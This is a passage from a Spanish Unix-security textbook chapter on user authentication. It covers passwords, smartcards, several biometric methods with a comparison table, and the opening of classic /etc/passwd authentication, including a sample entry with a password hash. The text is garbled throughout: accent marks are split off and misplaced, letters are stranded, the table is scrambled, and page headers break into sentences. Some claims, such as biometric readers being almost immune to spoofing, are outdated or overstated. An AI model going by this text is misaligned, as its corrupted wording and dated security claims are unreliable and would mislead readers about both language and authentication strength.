suelen dividir en tres grandes categor´ ([DP84], [Eve92]), en e o ıas funci´n de lo que utilizan para la verificaci´n de identidad: (a) algo que el usuario sabe, (b) algo o o que ´ste posee, y (c) una caracter´ e ıstica f´ ısica del usuario o un acto involuntario del mismo. Esta ultima categor´ se conoce con el nombre de autenticaci´n biom´trica. Es f´cil ver ejemplos ´ ıa o e a de cada uno de estos tipos de autenticaci´n: un password (Unix) o passphrase (pgp) es algo que o el usuario conoce y el resto de personas no, una tarjeta de identidad es algo que el usuario lleva consigo, la huella dactilar es una caracter´ ıstica f´ ısica del usuario, y un acto involuntario podr´ ıa considerarse que se produce al firmar (al rubricar la firma no se piensa en el dise˜o de cada trazo n individualmente). Por supuesto, un sistema de autenticaci´n puede (y debe, para incrementar su o fiabilidad) combinar mecanismos de diferente tipo, como en el caso de una tarjeta de cr´dito junto e al PIN a la hora de utilizar un cajero autom´tico o en el de un dispositivo generador de claves para a el uso de One Time Passwords. Cualquier sistema de identificaci´n (aunque les llamemos as´ recordemos que realmente son sis- o ı, temas de autenticaci´n) ha de poseer unas determinadas caracter´ o ısticas para ser viable; obviamente, ha de ser fiable con una probabilidad muy elevada (podemos hablar de tasas de fallo de 10−4 en los sistemas menos seguros), econ´micamente factible para la organizaci´n (si su precio es superior al o o valor de lo que se intenta proteger, tenemos un sistema incorrecto) y ha de soportar con ´xito cierto e
- 136. 118 CAP´ ´ ITULO 8. AUTENTICACION DE USUARIOS tipo de ataques (por ejemplo, imaginemos que cualquier usuario puede descifrar el password uti- lizado en el sistema de autenticaci´n de Unix en tiempo polinomial; esto ser´ inaceptable). Aparte o ıa de estas caracter´ısticas tenemos otra, no t´cnica sino humana, pero quiz´s la m´s importante: un e a a sistema de autenticaci´n ha de ser aceptable para los usuarios ([Tan91]), que ser´n al fin y al cabo o a quienes lo utilicen. Por ejemplo, imaginemos un potencial sistema de identificaci´n para acceder a o los recursos de la Universidad, consistente en un dispositivo que fuera capaz de realizar un an´lisis a de sangre a un usuario y as´ comprobar que es quien dice ser; seguramente ser´ barato y altamente ı ıa fiable, pero nadie aceptar´ dar un poco de sangre cada vez que desee consultar su correo. ıa 8.2 Sistemas basados en algo conocido: contrase˜ as n El modelo de autenticaci´n m´s b´sico consiste en decidir si un usuario es quien dice ser simplemente o a a bas´ndonos en una prueba de conocimiento que a priori s´lo ese usuario puede superar; y desde a o a ´ Al´ Bab´ y su ‘Abrete, S´samo’ hasta los m´s modernos sistemas Unix, esa prueba de conocimiento ı e a no es m´s que una contrase˜a que en principio es secreta. Evidentemente, esta aproximaci´n es a n o la m´s vulnerable a todo tipo de ataques, pero tambi´n la m´s barata, por lo que se convierte a e a en la t´cnica m´s utilizada en entornos que no precisan de una alta seguridad, como es el caso e a de los sistemas Unix en redes normales (y en general en todos los sistemas operativos en redes de seguridad media–baja); otros entornos en los que se suele aplicar este modelo de autenticaci´n son o las aplicaciones que requieren de alguna identificaci´n de usuarios, como el software de cifrado pgp o o el esc´ner de seguridad nessus. Tambi´n se utiliza como complemento a otros mecanismos de a e autenticaci´n, por ejemplo en el caso del N´mero de Identificaci´n Personal (PIN) a la hora de o u o utilizar cajeros autom´ticos. a En todos los esquemas de autenticaci´n basados en contrase˜as se cumple el mismo protocolo: o n las entidades (generalmente dos) que participan en la autenticaci´n acuerdan una clave, clave que o han de mantener en secreto si desean que la autenticaci´n sea fiable. Cuando una de las partes o desea autenticarse ante otra se limita a mostrarle su conocimiento de esa clave com´n, y si ´sta es u e correcta se otorga el acceso a un recurso. Lo habitual es que existan unos roles preestablecidos, con una entidad activa que desea autenticarse y otra pasiva que admite o rechaza a la anterior (en el modelo del acceso a sistemas Unix, tenemos al usuario y al sistema que le permite o niega la entrada). Como hemos dicho, este esquema es muy fr´gil: basta con que una de las partes no mantenga a la contrase˜a en secreto para que toda la seguridad del modelo se pierda; por ejemplo, si el usuario n de una m´quina Unix comparte su clave con un tercero, o si ese tercero consigue leerla y rompe su a cifrado (por ejemplo, como veremos luego, mediante un ataque de diccionario), autom´ticamente a esa persona puede autenticarse ante el sistema con ´xito con la identidad de un usuario que no le e corresponde. En el punto 8.5 hablaremos con m´s detalle del uso de contrase˜as para el caso de la autenti- a n caci´n de usuarios en Unix. o 8.3 Sistemas basados en algo pose´ ıdo: tarjetas inteligentes Hace m´s de veinte a˜os un periodista franc´s llamado Roland Moreno patentaba la integraci´n de a n e o un procesador en una tarjeta de pl´stico; sin duda, no pod´ imaginar el abanico de aplicaciones a ıa de seguridad que ese nuevo dispositivo, denominado chipcard, estaba abriendo. Desde entonces, cientos de millones de esas tarjetas han sido fabricadas, y son utilizadas a diario para fines que var´ desde las tarjetas monedero m´s sencillas hasta el control de accesos a instalaciones militares ıan a y agencias de inteligencia de todo el mundo; cuando a las chipcards se les incorpor´ un procesador o inteligente nacieron las smartcards, una gran revoluci´n en el ´mbito de la autenticaci´n de usuarios. o a o Desde un punto de vista formal ([GUQ92]), una tarjeta inteligente (o smartcard) es un disposi- tivo de seguridad del tama˜o de una tarjeta de cr´dito, resistente a la adulteraci´n, que ofrece n e o funciones para un almacenamiento seguro de informaci´n y tambi´n para el procesamiento de la o e
- 137. 8.3. SISTEMAS BASADOS EN ALGO POSE´ IDO: TARJETAS INTELIGENTES 119 Figura 8.1: Estructura gen´rica de una smartcard. e misma en base a tecnolog´ VLSI. En la pr´ctica, las tarjetas inteligentes poseen un chip em- ıa a potrado en la propia tarjeta que puede implementar un sistema de ficheros cifrado y funciones criptogr´ficas, y adem´s puede detectar activamente intentos no v´lidos de acceso a la informaci´n a a a o almacenada ([MA94]); este chip inteligente es el que las diferencia de las simples tarjetas de cr´dito, e que s´lamente incorporan una banda magn´tica donde va almacenada cierta informaci´n del propi- o e o etario de la tarjeta. En la figura 8.1 se muestra la estructura m´s generalista de una tarjeta inteligente; en ella pode- a mos observar que el acceso a las ´reas de memoria s´lamente es posible a trav´s de la unidad de a o e entrada/salida y de una CPU (t´ ıpicamente de 8 bits), lo que evidentemente aumenta la seguridad del dispositivo. Existe tambi´n un sistema operativo empotrado en la tarjeta – generalmente en e ROM, aunque tambi´n se puede extender con funciones en la EEPROM – cuya funci´n es realizar e o tareas criptogr´ficas (algoritmos de cifrado como RSA o Triple DES, funciones resumen. . . ); el a criptoprocesador apoya estas tareas ofreciendo operaciones RSA con claves de 512 a 1024 bits. Un ejemplo de implementaci´n real de este esquema lo constituye la tarjeta inteligente CERES, de la o F´brica Nacional de Moneda y Timbre espa˜ola ([Pit00]); en ella se incluye adem´s un generador a n a de n´meros aleatorios junto a los mecanismos de protecci´n internos de la tarjeta. u o Cuando el usuario poseedor de una smartcard desea autenticarse necesita introducir la tarjeta en un hardware lector; los dos dispositivos se identifican entre s´ con un protocolo a dos bandas ı en el que es necesario que ambos conozcan la misma clave (CK o CCK, Company Key o Chipcard Communication Key), lo que elimina la posibilidad de utilizar tarjetas de terceros para autenticarse ante el lector de una determinada compa˜´ adem´s esta clave puede utilizarse para asegurar la nıa; a comunicaci´n entre la tarjeta y el dispositivo lector. Tras identificarse las dos partes, se lee la iden- o tificaci´n personal (PID) de la tarjeta, y el usuario teclea su PIN; se inicia entonces un protocolo o desaf´ıo–respuesta: se env´ el PID a la m´quina y ´sta desaf´ a la tarjeta, que responde al desaf´ ıa a e ıa ıo utilizando una clave personal del usuario (PK, Personal Key). Si la respuesta es correcta, el host ha identificado la tarjeta y el usuario obtiene acceso al recurso pretendido. Las ventajas de utilizar tarjetas inteligentes como medio para autenticar usuarios son muchas frente a las desventajas; se trata de un modelo ampliamente aceptado entre los usuarios, r´pido, y que a incorpora hardware de alta seguridad tanto para almacenar datos como para realizar funciones de cifrado. Adem´s, su uso es factible tanto para controles de acceso f´ a ısico como para controles de acceso l´gico a los hosts, y se integra f´cilmente con otros mecanismos de autenticaci´n como las o a o contrase˜as; y en caso de desear bloquear el acceso de un usuario, no tenemos m´s que retener n a su tarjeta cuando la introduzca en el lector o marcarla como inv´lida en una base de datos (por a ejemplo, si se equivoca varias veces al teclar su PIN, igual que sucede con una tarjeta de cr´dito e normal). Como principal inconveniente de las smartcards podemos citar el coste adicional que
- 138. 120 CAP´ ´ ITULO 8. AUTENTICACION DE USUARIOS supone para una organizaci´n el comprar y configurar la infraestructura de dispositivos lectores y o las propias tarjetas; aparte, que un usuario pierda su tarjeta es bastante f´cil, y durante el tiempo a que no disponga de ella o no puede acceder al sistema, o hemos de establecer reglas especiales que pueden comprometer nuestra seguridad (y por supuesto se ha de marcar como tarjeta inv´lida en a una base de datos central, para que un potencial atacante no pueda utilizarla). Tambi´n la distancia e l´gica entre la smartcard y su poseedor – simplemente nos podemos fijar en que la tarjeta no tiene o un interfaz para el usuario – puede ser fuente de varios problemas de seguridad ([BF99], [GSTY96]). Aparte de los problemas que puede implicar el uso de smartcards en s´ contra la l´gica de una ı, o tarjeta inteligente existen diversos m´todos de ataque, como realizar ingenier´ inversa – destructi- e ıa va – contra el circuito de silicio (y los contenidos de la ROM), adulterar la informaci´n guardada o en la tarjeta o determinar por diferentes m´todos el contenido de la memoria EEPROM. Sin duda e una de las personas que m´s ha contribuido a incrementar la seguridad de las smartcards gracias a a sus estudios y ataques es el experto brit´nico Ross J. Anderson ([And97], [AK96]. . . ); en su p´gina a a web personal, http://www.cl.cam.ac.uk/users/rja14/, podemos encontrar todos sus art´ ıculos sobre este tema1 , demasiados como para citarlos aqu´ uno a uno. ı 8.4 Sistemas de autenticaci´n biom´trica o e A pesar de la importancia de la criptolog´ en cualquiera de los sistemas de identificaci´n de usuar- ıa o ios vistos, existen otra clase de sistemas en los que no se aplica esta ciencia, o al menos su aplicaci´n o es secundaria. Es m´s, parece que en un futuro no muy lejano estos ser´n los sistemas que se van a a a imponer en la mayor´ de situaciones en las que se haga necesario autenticar un usuario: son ıa m´s amigables para el usuario (no va a necesitar recordar passwords o n´meros de identificaci´n a u o complejos, y, como se suele decir, el usuario puede olvidar una tarjeta de identificaci´n en casa, o pero nunca se olvidar´ de su mano o su ojo) y son mucho m´s dif´ a a ıciles de falsificar que una simple contrase˜a o una tarjeta magn´tica; las principales razones por la que no se han impuesto ya en n e nuestros dias es su elevado precio, fuera del alcance de muchas organizaciones, y su dificultad de mantenimiento ([GKK97]). Estos sistemas son los denominados biom´tricos, basados en caracter´ e ısticas f´ ısicas del usuario a identificar. El reconocimiento de formas, la inteligencia artificial y el aprendizaje son las ra- mas de la inform´tica que desempe˜an el papel m´s importante en los sistemas de identificaci´n a n a o biom´tricos; la criptolog´ se limita aqu´ a un uso secundario, como el cifrado de una base de datos e ıa ı de patrones retinales, o la transmisi´n de una huella dactilar entre un dispositivo analizador y una o base de datos. La autenticaci´n basada en caracter´ o ısticas f´ısicas existe desde que existe el hombre y, sin darnos cuenta, es la que m´s utiliza cualquiera de nosotros en su vida cotidiana: a diario a identificamos a personas por los rasgos de su cara o por su voz. Obviamente aqu´ el agente recono- ı cedor lo tiene f´cil porque es una persona, pero en el modelo aplicable a redes o sistemas Unix el a agente ha de ser un dispositivo que, bas´ndose en caracter´ a ısticas del sujeto a identificar, le permita o deniegue acceso a un determinado recurso. Aunque la autenticaci´n de usuarios mediante m´todos biom´tricos es posible utilizando cualquier o e e caracter´ ıstica unica y mesurable del individuo (esto incluye desde la forma de teclear ante un or- ´ denador hasta los patrones de ciertas venas, pasando por el olor corporal), tradicionalmente ha estado basada en cinco grandes grupos ([Eve92]). En la tabla 8.1 ([Huo98], [Phi97]) se muestra una comparativa de sus rasgos m´s generales, que vamos a ver con m´s detalle en los puntos siguientes. a a Los dispositivos biom´tricos tienen tres partes principales; por un lado, disponen de un mecan- e ismo autom´tico que lee y captura una imagen digital o anal´gica de la caracter´ a o ıstica a analizar. Adem´s disponen de una entidad para manejar aspectos como la compresi´n, almacenamiento o a o comparaci´n de los datos capturados con los guardados en una base de datos (que son considerados o v´lidos), y tambi´n ofrecen una interfaz para las aplicaciones que los utilizan. El proceso general de a e autenticaci´n sigue unos pasos comunes a todos los modelos de autenticaci´n biom´trica: captura o o e o lectura de los datos que el usuario a validar presenta, extracci´n de ciertas caracter´ o ısticas de la 1Y sobre otros, principalmente esteganograf´ y criptograf´ ıa ıa.
- 139. ´ ´ 8.4. SISTEMAS DE AUTENTICACION BIOMETRICA 121 Ojo – Iris Ojo – Reti- Huellas Geometr´ de ıa Escritura Voz na dactilares la mano – Firma Fiabilidad Muy alta Muy alta Alta Alta Alta Alta Facilidad de Media Baja Alta Alta Alta Alta uso Prevenci´n o Muy Alta Muy alta Alta Alta Media Media de ataques Aceptaci´n o Media Media Media Alta Muy alta Alta Estabilidad Alta Alta Alta Media Media Media Identificaci´n o Ambas Ambas Ambas Autenticaci´n o Ambas Autenticaci´n o y autenti- caci´n o Est´ndars a – – ANSI/NIST, – – SVAPI FBI Interferencias Gafas Irritaciones Suciedad, Artritis, Firmas Ruido, resfri- heridas, reumatismo f´ciles a ados . . . asperezas ... o cam- ... biantes Utilizaci´n o Instalaciones Instalaciones Polic´ in- ıa, General Industrial Accesos remo- nucleares, nucleares, dustrial tos en ban- servicios servicios cos o bases de m´dicos, e m´dicos, e datos centros pen- centros pen- itenciarios itenciarios Precio por 5000 5000 1200 2100 1000 1200 nodo en 1997 (USD) Tabla 8.1: Comparaci´n de m´todos biom´tricos. o e e
- 140. 122 CAP´ ´ ITULO 8. AUTENTICACION DE USUARIOS muestra (por ejemplo, las minucias de una huella dactilar), comparaci´n de tales caracter´ o ısticas con las guardadas en una base de datos, y decisi´n de si el usuario es v´lido o no. Es en esta o a decisi´n donde principalmente entran en juego las dos caracter´ o ısticas b´sicas de la fiabilidad de a todo sistema biom´trico (en general, de todo sistema de autenticaci´n): las tasas de falso recha- e o zo y de falsa aceptaci´n. Por tasa de falso rechazo (False Rejection Rate, FRR) se entiende la o probabilidad de que el sistema de autenticaci´n rechaze a un usuario leg´ o ıtimo porque no es capaz de identificarlo correctamente, y por tasa de falsa aceptaci´n (False Acceptance Rate, FAR) la o probabilidad de que el sistema autentique correctamente a un usuario ileg´ ıtimo; evidentemente, una FRR alta provoca descontento entre los usuarios del sistema, pero una FAR elevada genera un grave problema de seguridad: estamos proporcionando acceso a un recurso a personal no autorizado a acceder a ´l. e Por ultimo, y antes de entrar m´s a fondo con los esquemas de autenticaci´n biom´trica cl´sicos, ´ a o e a quiz´s es conveniente desmentir uno de los grandes mitos de estos modelos: la vulnerabilidad a a ataques de simulaci´n. En cualquier pel´ o ıcula o libro de esp´ que se precie, siempre se consigue ıas ‘enga˜ar’ a autenticadores biom´tricos para conseguir acceso a determinadas instalaciones mediante n e estos ataques: se simula la parte del cuerpo a analizar mediante un modelo o incluso utilizando o ´rganos amputados a un cad´ver o al propio usuario vivo (crudamente, se le corta una mano o a un dedo, se le saca un ojo. . . para conseguir que el sistema permita la entrada). Evidentemente, esto s´lo sucede en la ficci´n: hoy en d´ cualquier sistema biom´trico – con excepci´n, quiz´s, o o ıa e o a de algunos modelos basados en voz de los que hablaremos luego – son altamente inmunes a estos ataques. Los analizadores de retina, de iris, de huellas o de la geometr´ de la mano son capaces, ıa aparte de decidir si el miembro pertenece al usuario leg´ ıtimo, de determinar si ´ste est´ vivo o se e a trata de un cad´ver. a 8.4.1 Verificaci´n de voz o En los sistemas de reconocimiento de voz no se intenta, como mucha gente piensa, reconocer lo que el usuario dice, sino identificar una serie de sonidos y sus caracter´ ısticas para decidir si el usuario es quien dice ser. Para autenticar a un usuario utilizando un reconocedor de voz se debe disponer de ciertas condiciones para el correcto registro de los datos, como ausencia de ruidos, reverberaciones o ecos; idealmente, estas condiciones han de ser las mismas siempre que se necesite la autenticaci´n. o Cuando un usuario desea acceder al sistema pronunciar´ unas frases en las cuales reside gran parte a de la seguridad del protocolo; en algunos modelos, los denominados de texto dependiente, el sistema tiene almacenadas un conjunto muy limitado de frases que es capaz de reconocer: por ejemplo, imag- inemos que el usuario se limita a pronunciar su nombre, de forma que el reconocedor lo entienda y lo autentique. Como veremos a continuaci´n, estos modelos proporcionan poca seguridad en compara- o ci´n con los de texto independiente, donde el sistema va ‘proponiendo’ a la persona la pronunciaci´n o o de ciertas palabras extra´ıdas de un conjunto bastante grande. De cualquier forma, sea cual sea el modelo, lo habitual es que las frases o palabras sean caracter´ısticas para maximizar la cantidad de datos que se pueden analizar (por ejemplo, frases con una cierta entonaci´n, pronunciaci´n de los o o diptongos, palabras con muchas vocales. . . ). Conforme va hablando el usuario, el sistema registra toda la informaci´n que le es util; cuando termina la frase, ya ha de estar en disposici´n de facilitar o ´ o o denegar el acceso, en funci´n de la informaci´n analizada y contrastada con la de la base de datos. o o El principal problema del reconocimiento de voz es la inmunidad frente a replay attacks, un modelo de ataques de simulaci´n en los que un atacante reproduce (por ejemplo, por medio de un mag- o net´fono) las frases o palabras que el usuario leg´ o ıtimo pronuncia para acceder al sistema. Este problema es especialmente grave en los sistemas que se basan en textos preestablecidos: volvien- do al ejemplo anterior, el del nombre de cada usuario, un atacante no tendr´ m´s que grabar ıa a a una persona que pronuncia su nombre ante el autenticador y luego reproducir ese sonido para conseguir el acceso; casi la unica soluci´n consiste en utilizar otro sistema de autenticaci´n junto ´ o o al reconocimiento de voz. Por contra, en modelos de texto independiente, m´s interactivos, este a ataque no es tan sencillo porque la autenticaci´n se produce realmente por una especie de desaf´ o ıo– respuesta entre el usuario y la m´quina, de forma que la cantidad de texto grabado habr´ de ser a ıa mucho mayor – y la velocidad para localizar la parte del texto que el sistema propone habr´ de ıa
- 141. ´ ´ 8.4. SISTEMAS DE AUTENTICACION BIOMETRICA 123 ser elevada –. Otro grave problema de los sistemas basados en reconocimiento de voz es el tiempo que el usuario emplea hablando delante del analizador, al que se a˜ade el que ´ste necesita para n e extraer la informaci´n y contrastarla con la de su base de datos; aunque actualmente en la mayor´ o ıa de sistemas basta con una sola frase, es habitual que el usuario se vea obligado a repetirla porque el sistema le deniega el acceso (una simple congesti´n hace variar el tono de voz, aunque sea levemente, o y el sistema no es capaz de decidir si el acceso ha de ser autorizado o no; incluso el estado an´ ımico de una persona var´ su timbre. . . ). A su favor, el reconocimiento de voz posee la cualidad de una ıa excelente acogida entre los usuarios, siempre y cuando su funcionamiento sea correcto y ´stos no se e vean obligados a repetir lo mismo varias veces, o se les niegue un acceso porque no se les reconoce correctamente. 8.4.2 Verificaci´n de escritura o Aunque la escritura (generalmente la firma) no es una caracter´ ıstica estrictamente biom´trica, co- e mo hemos comentado en la introducci´n se suele agrupar dentro de esta categor´ de la misma o ıa; forma que suced´ en la verificaci´n de la voz, el objetivo aqu´ no es interpretar o entender lo que ıa o ı el usuario escribe en el lector, sino autenticarlo bas´ndose en ciertos rasgos tanto de la firma como a de su r´brica. u La verificaci´n en base a firmas es algo que todos utilizamos y aceptamos d´ a d´ en documentos o ıa ıa o cheques; no obstante, existe una diferencia fundamental entre el uso de las firmas que hacemos en nuestra vida cotidiana y los sistemas biom´tricos; mientras que habitualmente la verificaci´n de e o la firma consiste en un simple an´lisis visual sobre una impresi´n en papel, est´tica, en los sistemas a o a autom´ticos no es posible autenticar usuarios en base a la representaci´n de los trazos de su firma. a o En los modelos biom´tricos se utiliza adem´s la forma de firmar, las caracter´ e a ısticas din´micas (por a eso se les suele denominar Dynamic Signature Verification, DSV): el tiempo utilizado para rubricar, las veces que se separa el bol´ ıgrafo del papel, el ´ngulo con que se realiza cada trazo. . . a Para utilizar un sistema de autenticaci´n basado en firmas se solicita en primer lugar a los futuros o usuarios un n´mero determinado de firmas ejemplo, de las cuales el sistema extrae y almacena u ciertas caracter´ ısticas; esta etapa se denomina de aprendizaje, y el principal obst´culo a su correcta a ejecuci´n son los usuarios que no suelen firmar uniformemente. Contra este problema la unica o ´ soluci´n (aparte de una concienciaci´n de tales usuarios) es relajar las restricciones del sistema a o o la hora de aprender firmas, con lo que se decrementa su seguridad. Una vez que el sistema conoce las firmas de sus usuarios, cuando estos desean acceder a ´l see les solicita tal firma, con un n´mero limitado de intentos (generalmente m´s que los sistemas que u a autentican mediante contrase˜as, ya que la firma puede variar en un individuo por m´ltiples fac- n u tores). La firma introducida es capturada por un l´piz ´ptico o por una lectora sensible (o por a o ambos), y el acceso al sistema se produce una vez que el usuario ha introducido una firma que el verificador es capaz de distinguir como aut´ntica. e 8.4.3 Verificaci´n de huellas o T´ıpicamente la huella dactilar de un individuo ha sido un patr´n bastante bueno para determinar su o identidad de forma inequ´ ıvoca, ya que est´ aceptado que dos dedos nunca poseen huellas similares, a ni siquiera entre gemelos o entre dedos de la misma persona. Por tanto, parece obvio que las huellas se convertir´ antes o despu´s en un modelo de autenticaci´n biom´trico: desde el siglo pasado ıan e o e hasta nuestros d´ se vienen realizando con ´xito clasificaciones sistem´ticas de huellas dactilares ıas e a en entornos policiales, y el uso de estos patrones fu´ uno de los primeros en establecerse como e modelo de autenticaci´n biom´trica. o e Cuando un usuario desea autenticarse ante el sistema situa su dedo en un ´rea determinada (´rea de a a lectura, no se necesita en ning´n momento una impresi´n en tinta). Aqu´ se toma una imagen que u o ı posteriormente se normaliza mediante un sistema de finos espejos2 para corregir ´ngulos, y es de a 2 Existen otros m´todos para obtener una imagen de la huella, como la representaci´n t´rmica, pero su uso es e o e menos habitual – principalmente por el precio de los lectores –.
- 142. 124 CAP´ ´ ITULO 8. AUTENTICACION DE USUARIOS ıdas. c 1998 Idex AS, http://www.idex.no/. Figura 8.2: Huella dactilar con sus minucias extra´ esta imagen normalizada de la que el sistema extrae las minucias (ciertos arcos, bucles o remolinos de la huella) que va a comparar contra las que tiene en su base de datos; es importante resaltar que lo que el sistema es capaz de analizar no es la huella en s´ sino que son estas minucias, concretamente ı la posici´n relativa de cada una de ellas. Est´ demostrado que dos dedos nunca pueden poseer m´s o a a de ocho minucias comunes, y cada uno tiene al menos 30 o 40 de ´stas (en la figura 8.2 podemos e ver una imagen de una huella digitalizada con sus minucias). Si la comparaci´n de las posiciones o relativas de las minucias le´ ıdas con las almacenadas en la base de datos es correcta, se permite el acceso al usuario, deneg´ndosele obviamente en caso contrario. a Los sistemas basados en reconocimiento de huellas son relativamente baratos (en comparaci´n o con otros biom´tricos, como los basados en patrones retinales); sin embargo, tienen en su contra e la incapacidad temporal de autenticar usuarios que se hayan podido herir en el dedo a reconocer (un peque˜o corte o una quemadura que afecte a varias minucias pueden hacer in´til al sistema). n u Tambi´n elementos como la suciedad del dedo, la presi´n ejercida sobre el lector o el estado de la e o piel pueden ocasionar lecturas err´neas. Otro factor a tener muy en cuenta contra estos sistemas es o psicol´gico, no t´cnico: hemos dicho en la introducci´n que un sistema de autenticaci´n de usuarios o e o o ha de ser aceptable por los mismos, y generalmente el reconocimiento de huellas se asocia a los criminales, por lo que muchos usuarios recelan del reconocedor y de su uso ([vKPG97]). 8.4.4 Verificaci´n de patrones oculares o Los modelos de autenticaci´n biom´trica basados en patrones oculares se dividen en dos tecnolog´ o e ıas diferentes: o bien analizan patrones retinales, o bien analizan el iris. Estos m´todos se suelen consid- e erar los m´s efectivos: para una poblaci´n de 200 millones de potenciales usuarios la probabilidad a o de coincidencia es casi 0, y adem´s una vez muerto el individuo los tejidos oculares degeneran a r´pidamente, lo que dificulta la falsa aceptaci´n de atacantes que puedan robar este ´rgano de un a o o
- 143. ´ ´ 8.4. SISTEMAS DE AUTENTICACION BIOMETRICA 125 cad´ver. a La principal desventaja de los m´todos basados en el an´lisis de patrones oculares es su escasa e a aceptaci´n; el hecho de mirar a trav´s de un binocular (o monocular), necesario en ambos modelos, o e no es c´modo para los usuarios, ni aceptable para muchos de ellos: por un lado, los usuarios no se o f´ de un haz de rayos analizando su ojo3 , y por otro un examen de este ´rgano puede revelar enfer- ıan o medades o caracter´ ısticas m´dicas que a muchas personas les puede interesar mantener en secreto, e como el consumo de alcohol o de ciertas drogas. Aunque los fabricantes de dispositivos lectores aseguran que s´lo se analiza el ojo para obtener patrones relacionados con la autenticaci´n, y en o o ning´n caso se viola la privacidad de los usuarios, mucha gente no cree esta postura oficial (aparte u del hecho de que la informaci´n es procesada v´ software, lo que facilita introducir modificaciones o ıa sobre lo que nos han vendido para que un lector realice otras tareas de forma enmascarada). Por si esto fuera poco, se trata de sistemas demasiado caros para la mayor´ de organizaciones, y el ıa proceso de autenticaci´n no es todo lo r´pido que debiera en poblaciones de usuarios elevadas. De o a esta forma, su uso se ve reducido casi s´lo a la identificaci´n en sistemas de alta seguridad, como o o el control de acceso a instalaciones militares. Retina La vasculatura retinal (forma de los vasos sangu´ ıneos de la retina humana) es un elemento ca- racter´ ıstico de cada individuo, por lo que numerosos estudios en el campo de la autenticaci´n de o usuarios se basan en el reconocimiento de esta vasculatura. En los sistemas de autenticaci´n basados en patrones retinales el usuario a identificar ha de mirar o a trav´s de unos binoculares, ajustar la distancia interocular y el movimiento de la cabeza, mirar e a un punto determinado y por ultimo pulsar un bot´n para indicar al dispositivo que se encuentra ´ o listo para el an´lisis. En ese momento se escanea la retina con una radiaci´n infrarroja de baja a o intensidad en forma de espiral, detectando los nodos y ramas del ´rea retinal para compararlos con a los almacenados en una base de datos; si la muestra coincide con la almacenada para el usuario que el individuo dice ser, se permite el acceso. La compa˜´ EyeDentify posee la patente mundial para analizadores de vasculatura retinal, por nıa lo que es la principal desarrolladora de esta tecnolog´ su p´gina web se puede encontrar en ıa; a http://www.eyedentify.com/. Iris El iris humano (el anillo que rodea la pupila, que a simple vista diferencia el color de ojos de ca- da persona) es igual que la vasculatura retinal una estructura unica por individuo que forma un ´ sistema muy complejo – de hasta 266 grados de libertad – , inalterable durante toda la vida de la persona. El uso por parte de un atacante de ´rganos replicados o simulados para conseguir una falsa o aceptaci´n es casi imposible con an´lisis infrarrojo, capaz de detectar con una alta probabilidad si o a el iris es natural o no. La identificaci´n basada en el reconocimiento de iris es m´s moderna que la basada en patrones o a retinales; desde hace unos a˜os el iris humano se viene utilizando para la autenticaci´n de usuarios n o ([BAW96], [Dau97]). Para ello, se captura una imagen del iris en blanco y negro, en un entorno correctamente iluminado; esta imagen se somete a deformaciones pupilares (el tama˜o de la pupila n var´ enormemente en funci´n de factores externos, como la luz) y de ella se extraen patrones, ıa o que a su vez son sometidos a transformaciones matem´ticas ([McM97]) hasta obtener una cantidad a de datos (t´ıpicamente 256 KBytes) suficiente para los prop´sitos de autenticaci´n. Esa muestra, o o denominada iriscode (en la figura 8.3 se muestra una imagen de un iris humano con su iriscode asociado) es comparada con otra tomada con anterioridad y almacenada en la base de datos del sistema, de forma que si ambas coinciden el usuario se considera autenticado con ´xito; la proba- e bilidad de una falsa aceptaci´n es la menor de todos los modelos biom´tricos ([Dau98]). o e 3 Aunque en el caso de los irises existen dispositivos capaces de leer a una distancia de varios metros, haciendo el proceso menos agresivo.
- 144. 126 CAP´ ´ ITULO 8. AUTENTICACION DE USUARIOS Figura 8.3: Iris humano con la extracci´n de su iriscode. o La empresa estadounidense IriScan es la principal desarrolladora de tecnolog´ (y de investiga- ıa ciones) basada en reconocimiento de iris que existe actualmente, ya que posee la patente sobre esta tecnolog´ su p´gina web, con interesantes art´ ıa; a ıculos sobre este modelo de autenticaci´n (a o diferencia de la p´gina de EyeDentify), se puede consultar en http://www.iriscan.com/. a 8.4.5 Verificaci´n de la geometr´ de la mano o ıa Los sistemas de autenticaci´n basados en el an´lisis de la geometr´ de la mano son sin duda los o a ıa m´s r´pidos dentro de los biom´tricos: con una probabilidad de error aceptable en la mayor´ de a a e ıa ocasiones, en aproximadamente un segundo son capaces de determinar si una persona es quien dice ser. Cuando un usuario necesita ser autenticado situa su mano sobre un dispositivo lector con unas gu´ que marcan la posici´n correcta para la lectura (figura 8.4). Una vez la mano est´ correc- ıas o a tamente situada, unas c´maras toman una imagen superior y otra lateral, de las que se extraen a ciertos datos (anchura, longitud, ´rea, determinadas distancias. . . ) en un formato de tres dimen- a siones. Transformando estos datos en un modelo matem´tico que se contrasta contra una base de a patrones, el sistema es capaz de permitir o denegar acceso a cada usuario. Quiz´s uno de los elementos m´s importantes del reconocimiento mediante analizadores de ge- a a ometr´ de la mano es que ´stos son capaces de aprender: a la vez que autentican a un usuario, ıa e actualizan su base de datos con los cambios que se puedan producir en la muestra (un peque˜o crec- n imiento, adelgazamiento, el proceso de cicatrizado de una herida. . . ); de esta forma son capaces de identificar correctamente a un usuario cuya muestra se tom´ hace a˜os, pero que ha ido accediendo o n al sistema con regularidad. Este hecho, junto a su rapidez y su buena aceptaci´n entre los usuarios, o
- 145. ´ 8.5. AUTENTICACION DE USUARIOS EN UNIX 127 Figura 8.4: Geometr´ de una mano con ciertos par´metros extra´ ıa a ıdos. hace que los autenticadores basados en la geometr´ de la mano sean los m´s extendidos dentro ıa a de los biom´tricos a pesar de que su tasa de falsa aceptaci´n se podr´ considerar inaceptable en e o ıa algunas situaciones: no es normal, pero s´ posible, que dos personas tengan la mano lo suficiente- ı mente parecida como para que el sistema las confunda. Para minimizar este problema se recurre a la identificaci´n basada en la geometr´ de uno o dos dedos, que adem´s puede usar dispositivos o ıa a lectores m´s baratos y proporciona incluso m´s rapidez. a a 8.5 Autenticaci´n de usuarios en Unix o 8.5.1 Autenticaci´n cl´sica o a En un sistema Unix habitual cada usuario posee un nombre de entrada al sistema o login y una clave o password; ambos datos se almacenan generalmente en el fichero /etc/passwd. Este archivo contiene una l´ınea por usuario (aunque hay entradas que no corresponden a usuarios reales, como veremos a continuaci´n) donde se indica la informaci´n necesaria para que los usuarios puedan o o conectar al sistema y trabajar en ´l, separando los diferentes campos mediante ‘:’. Por ejemplo, e podemos encontrar entradas parecidas a la siguiente: toni:LEgPN8jqSCHCg:1000:100:Antonio Villalon,,,:/export/home/toni:/bin/sh En primer lugar aparecen el login del usuario y su clave cifrada; a 